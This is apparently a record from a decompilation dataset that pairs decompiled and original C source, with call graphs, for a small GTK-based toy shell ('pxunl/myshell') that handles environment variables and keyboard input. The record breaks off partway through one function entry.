[ [ "Find_Item", "->", "Value_Export", "Value_Store" ], [ "Value_List", "->" ], [ "Value_Export", "->", "Find_Item" ], [ "Create_Var", "->", "Value_Store" ], [ "Value_Store", "->", "Check_Name", "Find_Item", "Create_Var" ], [ "Check_Name", "->", "Value_Store" ], [ "Env_To_Table", "->" ], [ "Table_To_Env", "->" ] ]
[]
[ { "name": "Find_Item", "canonical_name": "func0", "repo": "pxunl/myshell", "decompiled_code": "char *__fastcall Find_Item(const char *a1)\n{\nint v2; // [rsp+18h] [rbp-8h]\nint v3; // [rsp+1Ch] [rbp-4h]\n\nv3 = 0;\nv2 = strlen(a1);\nwhile ( v3 <= 49 && *((_QWORD *)&g_Value + 2 * v3) )\n{\nif ( !strncmp(*((const char **)&g_Value + 2 * v3), a1, v2) )\nreturn (char *)&g_Value + 16 * v3;\n++v3;\n}\nreturn (char *)&g_Value + 16 * v3;\n}\n", "canonical_decompiled_code": "char *__fastcall func0(const char *a1)\n{\nint v2; // [rsp+18h] [rbp-8h]\nint v3; // [rsp+1Ch] [rbp-4h]\n\nv3 = 0;\nv2 = strlen(a1);\nwhile ( v3 <= 49 && *((_QWORD *)&g_Value + 2 * v3) )\n{\nif ( !strncmp(*((const char **)&g_Value + 2 * v3), a1, v2) )\nreturn (char *)&g_Value + 16 * v3;\n++v3;\n}\nreturn (char *)&g_Value + 16 * v3;\n}", "original_code": "static struct Value *Find_Item( char *name)\n{\n int i = 0;\n int len = strlen(name);\n while ((i < 50) && (g_Value[i].str != ((void *)0)))\n {\n if (strncmp(g_Value[i].str, name, len) == 0)\n {\n return &g_Value[i];\n }\n i++;\n }\n return &g_Value[i];\n}", "canonical_original_code": "static struct Value *Find_Item(char *name)\n{\n int i = 0;\n int len = strlen(name);\n while ((i < 50) && (g_Value[i].str != ((void *)0)))\n {\n if (strncmp(g_Value[i].str, name, len) == 0)\n {\n return &g_Value[i];\n }\n i++;\n }\n return &g_Value[i];\n}", "variable_types": [ [ "name", "char *" ], [ "i", "int" ], [ "len", "int" ] ], "return_type": "struct Value { char *str; int global; } *", "user_defined_types": [ "struct Value { char *str; int global; }" ], "binary_hash": "7e1704b141a2af3086a973d076163dcea8fb1e78e405482673e62c0c37d1f166" }, { "name": "Value_List", "canonical_name": "func1", "repo": "pxunl/myshell", "decompiled_code": "__int64 Value_List()\n{\n__int64 result; // rax\nint i; // [rsp+Ch] [rbp-4h]\n\nfor ( i = 0; i <= 49; ++i )\n{\nresult = *((_QWORD *)&g_Value + 2 * i);\nif ( !result )\nbreak;\nif ( dword_5E8[4 * i] )\nresult = g_print(\" * %s\\n\", *((const char **)&g_Value + 2 * i));\nelse\nresult = g_print(\" %s\\n\", *((const char **)&g_Value + 2 * i));\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func1()\n{\n__int64 result; // rax\nint i; // [rsp+Ch] [rbp-4h]\n\nfor ( i = 0; i <= 49; ++i )\n{\nresult = *((_QWORD *)&g_Value + 2 * i);\nif ( !result )\nbreak;\nif ( dword_5E8[4 * i] )\nresult = g_print(\" * %s\\n\", *((const char **)&g_Value + 2 * i));\nelse\nresult = g_print(\" %s\\n\", *((const char **)&g_Value + 2 * i));\n}\nreturn result;\n}", "original_code": "void Value_List()\n{\n int i;\n for (i = 0; (i < 50 && g_Value[i].str != ((void *)0)); i++)\n {\n if (g_Value[i].global)\n {\n g_print(\" * %s\\n\", g_Value[i].str);\n }\n else\n {\n g_print(\" %s\\n\", g_Value[i].str);\n }\n }\n}", "canonical_original_code": "void Value_List()\n{\n int i;\n for (i = 0; (i < 50 && g_Value[i].str != ((void *)0)); i++)\n {\n if (g_Value[i].global)\n {\n g_print(\" * %s\\n\", g_Value[i].str);\n }\n else\n {\n g_print(\" %s\\n\", g_Value[i].str);\n }\n }\n}", "variable_types": [ [ "i", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "7e1704b141a2af3086a973d076163dcea8fb1e78e405482673e62c0c37d1f166" }, { "name": "Value_Export", "canonical_name": "func2", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall Value_Export(const char *a1)\n{\nchar *v2; // [rsp+10h] [rbp-10h]\nunsigned int v3; // [rsp+1Ch] [rbp-4h]\n\nv3 = -1;\nv2 = Find_Item(a1);\nif ( v2 && *(_QWORD *)v2 )\n{\n*((_DWORD *)v2 + 2) = 1;\nv3 = 1;\n}\nreturn v3;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(const char *a1)\n{\nchar *v2; // [rsp+10h] [rbp-10h]\nunsigned int v3; // [rsp+1Ch] [rbp-4h]\n\nv3 = -1;\nv2 = func0(a1);\nif ( v2 && *(_QWORD *)v2 )\n{\n*((_DWORD *)v2 + 2) = 1;\nv3 = 1;\n}\nreturn v3;\n}", "original_code": "int Value_Export(char *name)\n{\n struct Value *add_item;\n int flag = -1;\n if ((add_item = Find_Item(name)) != ((void *)0) && (add_item->str))\n {\n add_item->global = 1;\n flag = 1;\n }\n return flag;\n}", "canonical_original_code": "int Value_Export(char *name)\n{\n struct Value *add_item;\n int flag = -1;\n if ((add_item = Find_Item(name)) != ((void *)0) && (add_item->str))\n {\n add_item->global = 1;\n flag = 1;\n }\n return flag;\n}", "variable_types": [ [ "name", "char *" ], [ "add_item", "struct Value { char *str; int global; } *" ], [ "flag", "int" ] ], "return_type": "int", "user_defined_types": [ "struct Value { char *str; int global; }" ], "binary_hash": "7e1704b141a2af3086a973d076163dcea8fb1e78e405482673e62c0c37d1f166" }, { "name": "Create_Var", "canonical_name": "func3", "repo": "pxunl/myshell", "decompiled_code": "char *__fastcall Create_Var(const char *a1, const char *a2)\n{\nsize_t v2; // rbx\nsize_t v3; // rax\nchar *v5; // [rsp+18h] [rbp-18h]\n\nv2 = strlen(a1);\nv3 = strlen(a2);\nv5 = (char *)malloc(v2 + v3 + 2);\nif ( v5 )\nsprintf(v5, \"%s=%s\", a1, a2);\nreturn v5;\n}\n", "canonical_decompiled_code": "char *__fastcall func3(const char *a1, const char *a2)\n{\nsize_t v2; // rbx\nsize_t v3; // rax\nchar *v5; // [rsp+18h] [rbp-18h]\n\nv2 = strlen(a1);\nv3 = strlen(a2);\nv5 = (char *)malloc(v2 + v3 + 2);\nif ( v5 )\nsprintf(v5, \"%s=%s\", a1, a2);\nreturn v5;\n}", "original_code": "char *Create_Var( char *name, char *var )\n{\n char *add_var;\n add_var = malloc( strlen(name) + strlen(var) + 2);\n if (add_var != ((void *)0))\n sprintf(add_var, \"%s=%s\", name, var);\n return add_var;\n}", "canonical_original_code": "char *Create_Var(char *name, char *var)\n{\n char *add_var;\n add_var = malloc( strlen(name) + strlen(var) + 2);\n if (add_var != ((void *)0))\n sprintf(add_var, \"%s=%s\", name, var);\n return add_var;\n}", "variable_types": [ [ "name", "char *" ], [ "var", "char *" ], [ "add_var", "char *" ] ], "return_type": "char *", "user_defined_types": [], "binary_hash": "7e1704b141a2af3086a973d076163dcea8fb1e78e405482673e62c0c37d1f166" }, { "name": "Value_Store", "canonical_name": "func4", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall Value_Store(const char *a1)\n{\nint v2; // ebx\nint v3; // eax\nchar *v4; // [rsp+10h] [rbp-40h]\nchar *v5; // [rsp+18h] [rbp-38h]\nchar *v6; // [rsp+20h] [rbp-30h]\nconst char *v7; // [rsp+30h] [rbp-20h]\nunsigned int v8; // [rsp+3Ch] [rbp-14h]\n\nif ( !a1 )\nreturn 0xFFFFFFFFLL;\nv8 = -1;\nv6 = strchr(a1, 61);\nv2 = strlen(a1);\nv3 = strlen(v6);\nv7 = (const char *)create_str(a1, (unsigned int)(v2 - v3));\nif ( !v7 || v6 == (char *)-1LL || !(unsigned int)Check_Name(v7) )\nreturn 0xFFFFFFFFLL;\nv5 = Find_Item(v7);\nif ( v5 )\n{\nv4 = Create_Var(v7, v6 + 1);\nif ( v4 )\n{\nif ( *(_QWORD *)v5 )\nfree(*(void **)v5);\n*(_QWORD *)v5 = v4;\nv8 = 1;\n}\n}\nreturn v8;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(const char *a1)\n{\nint v2; // ebx\nint v3; // eax\nchar *v4; // [rsp+10h] [rbp-40h]\nchar *v5; // [rsp+18h] [rbp-38h]\nchar *v6; // [rsp+20h] [rbp-30h]\nconst char *v7; // [rsp+30h] [rbp-20h]\nunsigned int v8; // [rsp+3Ch] [rbp-14h]\n\nif ( !a1 )\nreturn 0xFFFFFFFFLL;\nv8 = -1;\nv6 = strchr(a1, 61);\nv2 = strlen(a1);\nv3 = strlen(v6);\nv7 = (const char *)create_str(a1, (unsigned int)(v2 - v3));\nif ( !v7 || v6 == (char *)-1LL || !(unsigned int)func5(v7) )\nreturn 0xFFFFFFFFLL;\nv5 = func0(v7);\nif ( v5 )\n{\nv4 = func3(v7, v6 + 1);\nif ( v4 )\n{\nif ( *(_QWORD *)v5 )\nfree(*(void **)v5);\n*(_QWORD *)v5 = v4;\nv8 = 1;\n}\n}\nreturn v8;\n}", "original_code": "int Value_Store(char *var)\n{\n if (!var)\n {\n return -1;\n }\n int flag = -1;\n char *name = var;\n char *value = var;\n char *equal = ((void *)0);\n char *new_var;\n struct Value *item = ((void *)0);\n equal = strchr(var, '=');\n name = create_str(var, strlen(var) - strlen(equal));\n value = equal + 1;\n if ((!name) || (!value) || (!Check_Name(name)))\n {\n return -1;\n }\n if ((item = Find_Item(name)) != ((void *)0)\n && (new_var = Create_Var(name, value)) != ((void *)0))\n {\n if (item->str)\n {\n free(item->str);\n }\n item->str = new_var;\n flag = 1;\n }\n return flag;\n}", "canonical_original_code": "int Value_Store(char *var)\n{\n if (!var)\n {\n return -1;\n }\n int flag = -1;\n char *name = var;\n char *value = var;\n char *equal = ((void *)0);\n char *new_var;\n struct Value *item = ((void *)0);\n equal = strchr(var, '=');\n name = create_str(var, strlen(var) - strlen(equal));\n value = equal + 1;\n if ((!name) || (!value) || (!Check_Name(name)))\n {\n return -1;\n }\n if ((item = Find_Item(name)) != ((void *)0)\n && (new_var = Create_Var(name, value)) != ((void *)0))\n {\n if (item->str)\n {\n free(item->str);\n }\n item->str = new_var;\n flag = 1;\n }\n return flag;\n}", "variable_types": [ [ "var", "char *" ], [ "flag", "int" ], [ "name", "char *" ], [ "value", "char *" ], [ "equal", "char *" ], [ "new_var", "char *" ], [ "item", "struct Value { char *str; int global; } *" ] ], "return_type": "int", "user_defined_types": [ "struct Value { char *str; int global; }" ], "binary_hash": "7e1704b141a2af3086a973d076163dcea8fb1e78e405482673e62c0c37d1f166" }, { "name": "Check_Name", "canonical_name": "func5", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall Check_Name(char *a1)\n{\n_BYTE *v2; // [rsp+18h] [rbp-8h]\n\nif ( !a1 )\nreturn 0xFFFFFFFFLL;\nv2 = a1;\nif ( ((*_ctype_b_loc())[*a1] & 0x800) != 0 )\nreturn 0xFFFFFFFFLL;\nwhile ( *v2 )\n{\nif ( *v2 == 32 || *v2 == 61 || ((*_ctype_b_loc())[(char)*v2] & 8) == 0 )\nreturn 0xFFFFFFFFLL;\n++v2;\n}\nreturn 1LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(char *a1)\n{\n_BYTE *v2; // [rsp+18h] [rbp-8h]\n\nif ( !a1 )\nreturn 0xFFFFFFFFLL;\nv2 = a1;\nif ( ((*_ctype_b_loc())[*a1] & 0x800) != 0 )\nreturn 0xFFFFFFFFLL;\nwhile ( *v2 )\n{\nif ( *v2 == 32 || *v2 == 61 || ((*_ctype_b_loc())[(char)*v2] & 8) == 0 )\nreturn 0xFFFFFFFFLL;\n++v2;\n}\nreturn 1LL;\n}", "original_code": "int Check_Name(char *name)\n{\n if (!name)\n {\n return -1;\n }\n char * ck = name;\n if (((*__ctype_b_loc ())[(int) ((*ck))] & (unsigned short int) _ISdigit))\n {\n return -1;\n }\n while (*ck)\n {\n if (*ck == ' ' || *ck == '=' || !(((*__ctype_b_loc ())[(int) ((*ck))] & (unsigned short int) _ISalnum)))\n {\n return -1;\n }\n ck++;\n }\n return 1;\n}", "canonical_original_code": "int Check_Name(char *name)\n{\n if (!name)\n {\n return -1;\n }\n char *ck = name;\n if (((*__ctype_b_loc ())[(int) ((*ck))] & (unsigned short) _ISdigit))\n {\n return -1;\n }\n while (*ck)\n {\n if (*ck == ' ' || *ck == '=' || !(((*__ctype_b_loc ())[(int) ((*ck))] & (unsigned short) _ISalnum)))\n {\n return -1;\n }\n ck++;\n }\n return 1;\n}", "variable_types": [ [ "name", "char *" ], [ "ck", "char *" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "7e1704b141a2af3086a973d076163dcea8fb1e78e405482673e62c0c37d1f166" }, { "name": "Env_To_Table", "canonical_name": "func6", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall Env_To_Table(__int64 a1)\n{\nsize_t v1; // rax\nchar *dest; // [rsp+10h] [rbp-10h]\nint i; // [rsp+1Ch] [rbp-4h]\n\nfor ( i = 0; i <= 49 && *(_QWORD *)(8LL * i + a1); ++i )\n{\nv1 = strlen(*(const char **)(8LL * i + a1));\ndest = (char *)malloc(v1 + 1);\nif ( !dest )\nreturn 0xFFFFFFFFLL;\nstrcpy(dest, *(const char **)(8LL * i + a1));\n*((_QWORD *)&g_Value + 2 * i) = dest;\ndword_5E8[4 * i] = 1;\n}\n*((_QWORD *)&g_Value + 2 * i) = 0LL;\ndword_5E8[4 * i] = 0;\nreturn 1LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(__int64 a1)\n{\nsize_t v1; // rax\nchar *dest; // [rsp+10h] [rbp-10h]\nint i; // [rsp+1Ch] [rbp-4h]\n\nfor ( i = 0; i <= 49 && *(_QWORD *)(8LL * i + a1); ++i )\n{\nv1 = strlen(*(const char **)(8LL * i + a1));\ndest = (char *)malloc(v1 + 1);\nif ( !dest )\nreturn 0xFFFFFFFFLL;\nstrcpy(dest, *(const char **)(8LL * i + a1));\n*((_QWORD *)&g_Value + 2 * i) = dest;\ndword_5E8[4 * i] = 1;\n}\n*((_QWORD *)&g_Value + 2 * i) = 0LL;\ndword_5E8[4 * i] = 0;\nreturn 1LL;\n}", "original_code": "int Env_To_Table(char *env[])\n{\n char *new_str;\n int i = 0;\n while ((i < 50) && (((void *)0) != env[i]))\n {\n new_str = malloc(1 + strlen(env[i]));\n if (!new_str)\n {\n return -1;\n }\n strcpy(new_str, env[i]);\n g_Value[i].str = new_str;\n g_Value[i].global = 1;\n i++;\n }\n g_Value[i].str = ((void *)0) ;\n g_Value[i].global = 0;\n return 1;\n}", "canonical_original_code": "int Env_To_Table(char *env[])\n{\n char *new_str;\n int i = 0;\n while ((i < 50) && (((void *)0) != env[i]))\n {\n new_str = malloc(1 + strlen(env[i]));\n if (!new_str)\n {\n return -1;\n }\n strcpy(new_str, env[i]);\n g_Value[i].str = new_str;\n g_Value[i].global = 1;\n i++;\n }\n g_Value[i].str = ((void *)0) ;\n g_Value[i].global = 0;\n return 1;\n}", "variable_types": [ [ "env", "char *[]" ], [ "new_str", "char *" ], [ "i", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "7e1704b141a2af3086a973d076163dcea8fb1e78e405482673e62c0c37d1f166" }, { "name": "Table_To_Env", "canonical_name": "func7", "repo": "pxunl/myshell", "decompiled_code": "_QWORD *Table_To_Env()\n{\nint v1; // eax\n_QWORD *v2; // [rsp+8h] [rbp-18h]\nint v3; // [rsp+14h] [rbp-Ch]\nint v4; // [rsp+18h] [rbp-8h]\nint i; // [rsp+1Ch] [rbp-4h]\nint v6; // [rsp+1Ch] [rbp-4h]\n\nfor ( i = 0; i <= 49 && *((_QWORD *)&g_Value + 2 * i); ++i )\n{\nif ( dword_5E8[4 * i] == 1 )\n++v3;\n}\nv2 = malloc(8LL * (v3 + 1));\nif ( !v2 )\nreturn 0LL;\nv6 = 0;\nv4 = 0;\nwhile ( v6 <= 49 && *((_QWORD *)&g_Value + 2 * v6) )\n{\nif ( dword_5E8[4 * v6] == 1 )\n{\nv1 = v4++;\nv2[v1] = *((_QWORD *)&g_Value + 2 * v6);\n}\n++v6;\n}\nv2[v4] = 0LL;\nreturn v2;\n}\n", "canonical_decompiled_code": "_QWORD *func7()\n{\nint v1; // eax\n_QWORD *v2; // [rsp+8h] [rbp-18h]\nint v3; // [rsp+14h] [rbp-Ch]\nint v4; // [rsp+18h] [rbp-8h]\nint i; // [rsp+1Ch] [rbp-4h]\nint v6; // [rsp+1Ch] [rbp-4h]\n\nfor ( i = 0; i <= 49 && *((_QWORD *)&g_Value + 2 * i); ++i )\n{\nif ( dword_5E8[4 * i] == 1 )\n++v3;\n}\nv2 = malloc(8LL * (v3 + 1));\nif ( !v2 )\nreturn 0LL;\nv6 = 0;\nv4 = 0;\nwhile ( v6 <= 49 && *((_QWORD *)&g_Value + 2 * v6) )\n{\nif ( dword_5E8[4 * v6] == 1 )\n{\nv1 = v4++;\nv2[v1] = *((_QWORD *)&g_Value + 2 * v6);\n}\n++v6;\n}\nv2[v4] = 0LL;\nreturn v2;\n}", "original_code": "char **Table_To_Env()\n{\n int i;\n int j;\n int cn;\n char **envtab;\n for( i = 0 ; (i < 50 && g_Value[i].str != ((void *)0)) ; i++ )\n {\n if (g_Value[i].global == 1)\n {\n cn++;\n }\n }\n envtab = (char **) malloc( (cn+1) * sizeof(char *) );\n if ( envtab == ((void *)0) )\n {\n return ((void *)0);\n }\n for(i = 0, j = 0 ; (i < 50 && g_Value[i].str != ((void *)0)) ; i++ )\n {\n if ( g_Value[i].global == 1 )\n {\n envtab[j++] = g_Value[i].str;\n }\n }\n envtab[j] = ((void *)0);\n return envtab;\n}", "canonical_original_code": "char **Table_To_Env()\n{\n int i;\n int j;\n int cn;\n char **envtab;\n for( i = 0 ; (i < 50 && g_Value[i].str != ((void *)0)) ; i++ )\n {\n if (g_Value[i].global == 1)\n {\n cn++;\n }\n }\n envtab = (char **) malloc( (cn+1) * sizeof(char *) );\n if ( envtab == ((void *)0) )\n {\n return ((void *)0);\n }\n for(i = 0, j = 0 ; (i < 50 && g_Value[i].str != ((void *)0)) ; i++ )\n {\n if ( g_Value[i].global == 1 )\n {\n envtab[j++] = g_Value[i].str;\n }\n }\n envtab[j] = ((void *)0);\n return envtab;\n}", "variable_types": [ [ "i", "int" ], [ "j", "int" ], [ "cn", "int" ], [ "envtab", "char **" ] ], "return_type": "char **", "user_defined_types": [], "binary_hash": "7e1704b141a2af3086a973d076163dcea8fb1e78e405482673e62c0c37d1f166" } ]
92f333e2d5e158271ade0e5aacee18e344d35bb6436b4f413ac4282f9bbb2a8a
pxunl/myshell
[ [ "main", "->", "initialize" ], [ "destroy", "->" ], [ "virtual_keyboard_drive", "->", "Submit_Cmd" ], [ "initialize", "->", "main" ], [ "Submit_Cmd", "->", "virtual_keyboard_drive" ] ]
[ [ "main", "int __cdecl main(int argc, const char **argv, const char **envp)\n{\n__int64 v3; // rax\n__int64 v4; // rax\n__int64 v5; // rax\n__int64 v6; // rax\n__int64 v7; // rax\n__int64 v8; // rax\n__int64 v9; // rax\n__int64 v10; // rax\n__int64 v11; // rax\n__int64 v12; // rax\n__int64 v13; // rax\n__int64 v14; // rax\n__int64 v15; // rax\n__int64 v16; // rax\n__int64 v17; // rax\n__int64 v18; // rax\n__int64 v19; // rax\n__int64 v20; // rax\n__int64 v21; // rax\n__int64 v22; // rax\n__int64 v23; // rax\n__int64 v24; // rax\n__int64 v25; // rax\n__int64 v26; // rax\n__int64 v27; // rax\n__int64 v28; // rax\n__int64 v29; // rax\n__int64 v30; // rax\n__int64 v31; // rax\n__int64 v32; // rax\n__int64 v33; // rax\n__int64 v34; // rax\n__int64 v35; // rax\n__int64 v36; // rax\n__int64 v37; // rax\n__int64 v38; // rax\n__int64 v39; // rax\n__int64 v40; // rax\n__int64 v41; // rax\nconst char **v43; // [rsp+0h] [rbp-90h] BYREF\nint v44[3]; // [rsp+Ch] [rbp-84h] BYREF\n__int64 v45; // [rsp+18h] [rbp-78h]\n__int64 v46; // [rsp+20h] [rbp-70h]\n__int64 v47; // [rsp+28h] [rbp-68h]\n__int64 v48; // [rsp+30h] [rbp-60h]\n__int64 v49; // [rsp+38h] [rbp-58h]\n__int64 v50; // [rsp+40h] [rbp-50h]\n__int64 v51; // [rsp+48h] [rbp-48h]\n__int64 v52; // [rsp+50h] [rbp-40h]\n__int64 v53; // [rsp+58h] [rbp-38h]\n__int64 v54; // [rsp+60h] [rbp-30h]\n__int64 v55; // [rsp+68h] [rbp-28h]\n__int64 v56; // [rsp+70h] [rbp-20h]\n__int64 v57; // [rsp+78h] [rbp-18h]\n__int64 v58; // [rsp+80h] [rbp-10h]\n__int64 v59; // [rsp+88h] [rbp-8h]\n\nv44[0] = argc;\nv43 = argv;\nv59 = 0LL;\ngtk_init(v44, &v43);\nfunc2();\nv58 = gtk_window_new(0LL);\nv3 = gtk_object_get_type();\nv4 = g_type_check_instance_cast(v58, v3);\ngtk_signal_connect_full(v4, \"destroy\", destroy, 0LL, 0LL, 0LL, 0LL, 0LL);\nv5 = gtk_window_get_type();\nv6 = g_type_check_instance_cast(v58, v5);\ngtk_window_set_title(v6, \"Myshell\");\nv7 = gtk_window_get_type();\nv8 = g_type_check_instance_cast(v58, v7);\ngtk_window_set_position(v8, 1LL);\nv9 = gtk_window_get_type();\nv10 = g_type_check_instance_cast(v58, v9);\ngtk_window_set_default_size(v10, 730LL, 533LL);\nv11 = gtk_container_get_type();\nv12 = g_type_check_instance_cast(v58, v11);\ngtk_container_set_border_width(v12, 5LL);\nv13 = gtk_window_get_type();\nv14 = g_type_check_instance_cast(v58, v13);\n*(_BYTE *)(v14 + 202) |= 1u;\nv57 = gtk_vbox_new(0LL, 0LL);\nv15 = gtk_container_get_type();\nv16 = g_type_check_instance_cast(v58, v15);\ngtk_container_add(v16, v57);\nv56 = gtk_menu_bar_new();\nv55 = gtk_menu_new();\nv59 = gtk_accel_group_new();\nv17 = gtk_window_get_type();\nv18 = g_type_check_instance_cast(v58, v17);\ngtk_window_add_accel_group(v18, v59);\nv54 = gtk_menu_item_new_with_mnemonic(\"_File\");\nv53 = gtk_menu_item_new_with_mnemonic(\"_Edit\");\nv52 = gtk_menu_item_new_with_mnemonic(\"_Option\");\nv51 = gtk_menu_item_new_with_mnemonic(\"_Help\");\nv50 = gtk_image_menu_item_new_from_stock(\"gtk-new\", 0LL);\nv49 = gtk_image_menu_item_new_from_stock(\"gtk-quit\", v59);\nv48 = gtk_separator_menu_item_new();\ngtk_widget_add_accelerator(v49, \"activate\", v59, 113LL, 4LL, 1LL);\nv19 = gtk_menu_item_get_type();\nv20 = g_type_check_instance_cast(v54, v19);\ngtk_menu_item_set_submenu(v20, v55);\nv21 = gtk_menu_shell_get_type();\nv22 = g_type_check_instance_cast(v55, v21);\ngtk_menu_shell_append(v22, v50);\nv23 = gtk_menu_shell_get_type();\nv24 = g_type_check_instance_cast(v55, v23);\ngtk_menu_shell_append(v24, v49);\nv25 = gtk_menu_shell_get_type();\nv26 = g_type_check_instance_cast(v55, v25);\ngtk_menu_shell_append(v26, v48);\nv27 = gtk_menu_shell_get_type();\nv28 = g_type_check_instance_cast(v56, v27);\ngtk_menu_shell_append(v28, v54);\nv29 = gtk_menu_shell_get_type();\nv30 = g_type_check_instance_cast(v56, v29);\ngtk_menu_shell_append(v30, v53);\nv31 = gtk_menu_shell_get_type();\nv32 = g_type_check_instance_cast(v56, v31);\ngtk_menu_shell_append(v32, v52);\nv33 = gtk_menu_shell_get_type();\nv34 = g_type_check_instance_cast(v56, v33);\ngtk_menu_shell_append(v34, v51);\nv35 = gtk_box_get_type();\nv36 = g_type_check_instance_cast(v57, v35);\ngtk_box_pack_start(v36, v56, 0LL, 0LL, 3LL);\nv37 = g_type_check_instance_cast(v49, 80LL);\ng_signal_connect_data(v37, \"activate\", destroy, 0LL, 0LL, 0LL);\nv47 = gtk_scrolled_window_new(0LL, 0LL);\nv46 = gtk_text_view_new();\nv38 = gtk_box_get_type();\nv39 = g_type_check_instance_cast(v57, v38);\ngtk_box_pack_start(v39, v47, 1LL, 1LL, 5LL);\nbuffer = gtk_text_view_get_buffer(v46);\ngtk_text_buffer_get_end_iter(buffer, &iter);\ngtk_text_buffer_insert(buffer, &iter, g_dir, 0xFFFFFFFFLL);\ngtk_signal_connect_full(v46, \"key-press-event\", virtual_keyboard_drive, 0LL, 0LL, 0LL, 0LL, 0LL);\nv40 = gtk_container_get_type();\nv41 = g_type_check_instance_cast(v47, v40);\ngtk_container_add(v41, v46);\nv45 = gtk_vbox_new(0LL, 5LL);\ngtk_widget_show_all(v58);\ngtk_main();\nreturn 0;\n}" ], [ "destroy", "__int64 func0()\n{\ng_print(\"\\nended...\\n\");\nreturn gtk_main_quit();\n}" ], [ "virtual_keyboard_drive", "__int64 __fastcall func1(__int64 a1, __int64 a2)\n{\nint v2; // eax\nint v4; // eax\nint v5; // [rsp+2Ch] [rbp-4h]\n\nv5 = *(_DWORD *)(a2 + 28);\nif ( v5 == 65293 )\n{\nv2 = count++;\ng_buf_cmd[v2] = 0;\nfunc3();\nreturn 0LL;\n}\nif ( v5 != 65288 )\n{\nif ( v5 == 65361\n|| v5 == 65513\n|| v5 == 65363\n|| v5 == 65364\n|| v5 == 65362\n|| v5 == 65289\n|| v5 == 65505\n|| v5 == 65506\n|| v5 == 65509\n|| v5 == 65507 )\n{\nreturn 0LL;\n}\nv4 = count++;\ng_buf_cmd[v4] = v5;\nreturn 0LL;\n}\nif ( count > 0 )\ng_buf_cmd[--count] = 0;\nreturn 0LL;\n}" ] ]
[ { "name": "initialize", "canonical_name": "func2", "repo": "pxunl/myshell", "decompiled_code": "__sighandler_t initialize()\n{\ng_change_dir = 0;\nmemset(&buf, 0, 0x900uLL);\nmemset(g_dir, 0, 0x40uLL);\nmemset(g_buf_cmd, 0, sizeof(g_buf_cmd));\nstrcpy(g_dir, \"pxunl@lnuxp\");\nstrcat(g_dir, \".#\");\nEnv_To_Table(environ);\nif ( pipe(apipe) == -1 )\n{\ng_print(\"couldn't make pipe\");\nexit(1);\n}\ndup2(apipe[1], 1);\ndup2(apipe[1], 2);\nsignal(2, handler);\nreturn signal(3, handler);\n}\n", "canonical_decompiled_code": "__sighandler_t func2()\n{\ng_change_dir = 0;\nmemset(&buf, 0, 0x900uLL);\nmemset(g_dir, 0, 0x40uLL);\nmemset(g_buf_cmd, 0, sizeof(g_buf_cmd));\nstrcpy(g_dir, \"pxunl@lnuxp\");\nstrcat(g_dir, \".#\");\nEnv_To_Table(environ);\nif ( pipe(apipe) == -1 )\n{\ng_print(\"couldn't make pipe\");\nexit(1);\n}\ndup2(apipe[1], 1);\ndup2(apipe[1], 2);\nsignal(2, handler);\nreturn signal(3, handler);\n}", "original_code": "void initialize()\n{\n g_change_dir = 0;\n memset(buf, '\\0', 2304);\n memset(g_dir, '\\0', 64);\n memset(g_buf_cmd, '\\0', sizeof(g_buf_cmd));\n strcpy(g_dir, \"pxunl@lnuxp\");\n strcat(g_dir, \".#\");\n Env_To_Table(environ);\n if (pipe(apipe) == -1)\n {\n g_print(\"couldn't make pipe\");\n exit(1);\n }\n dup2(apipe[1], 1);\n dup2(apipe[1], 2);\n signal(2, ((__sighandler_t) 1));\n signal(3, ((__sighandler_t) 1));\n}", "canonical_original_code": "void initialize()\n{\n g_change_dir = 0;\n memset(buf, '\\0', 2304);\n memset(g_dir, '\\0', 64);\n memset(g_buf_cmd, '\\0', sizeof(g_buf_cmd));\n strcpy(g_dir, \"pxunl@lnuxp\");\n strcat(g_dir, \".#\");\n Env_To_Table(environ);\n if (pipe(apipe) == -1)\n {\n g_print(\"couldn't make pipe\");\n exit(1);\n }\n dup2(apipe[1], 1);\n dup2(apipe[1], 2);\n signal(2, ((void (*)(int)) 1));\n signal(3, ((void (*)(int)) 1));\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "92f333e2d5e158271ade0e5aacee18e344d35bb6436b4f413ac4282f9bbb2a8a" }, { "name": "Submit_Cmd", "canonical_name": "func3", "repo": "pxunl/myshell", "decompiled_code": "__int64 Submit_Cmd()\n{\nunsigned int v0; // eax\nssize_t v2; // [rsp+8h] [rbp-8h]\n\nif ( !strcmp(g_buf_cmd, \"exit\") )\nexit(0);\nShell_Main(g_buf_cmd);\nmemset(buf, 0, sizeof(buf));\nv2 = read(apipe[0], buf, 0x900uLL);\nif ( v2 == -1 )\n{\ng_print(\"error,when reading from pipe\\n\");\nexit(1);\n}\nif ( g_change_dir == 1 )\n{\nmemset(g_dir, 0, 0x40uLL);\nstrcpy(g_dir, \"pxunl@lnuxp\");\nbuf[v2 - 1] = 35;\nstrcat(g_dir, buf);\nmemset(buf, 0, sizeof(buf));\ng_change_dir = 0;\n}\ncount = 0;\ngtk_text_buffer_get_end_iter(buffer, &iter);\ngtk_text_buffer_insert(buffer, &iter, \"\\n\", 0xFFFFFFFFLL);\ngtk_text_buffer_get_end_iter(buffer, &iter);\ngtk_text_buffer_insert(buffer, &iter, buf, 0xFFFFFFFFLL);\nmemset(buf, 0, sizeof(buf));\nmemset(g_buf_cmd, 0, sizeof(g_buf_cmd));\nv0 = clear_count++;\nif ( v0 > 0xA )\n{\ngtk_text_buffer_get_bounds(buffer, &start_iter, &end_iter);\ngtk_text_buffer_delete(buffer, &start_iter, &end_iter);\nclear_count = 0;\n}\ngtk_text_buffer_get_end_iter(buffer, &iter);\nreturn gtk_text_buffer_insert(buffer, &iter, g_dir, 0xFFFFFFFFLL);\n}\n", "canonical_decompiled_code": "__int64 func3()\n{\nunsigned int v0; // eax\nssize_t v2; // [rsp+8h] [rbp-8h]\n\nif ( !strcmp(g_buf_cmd, \"exit\") 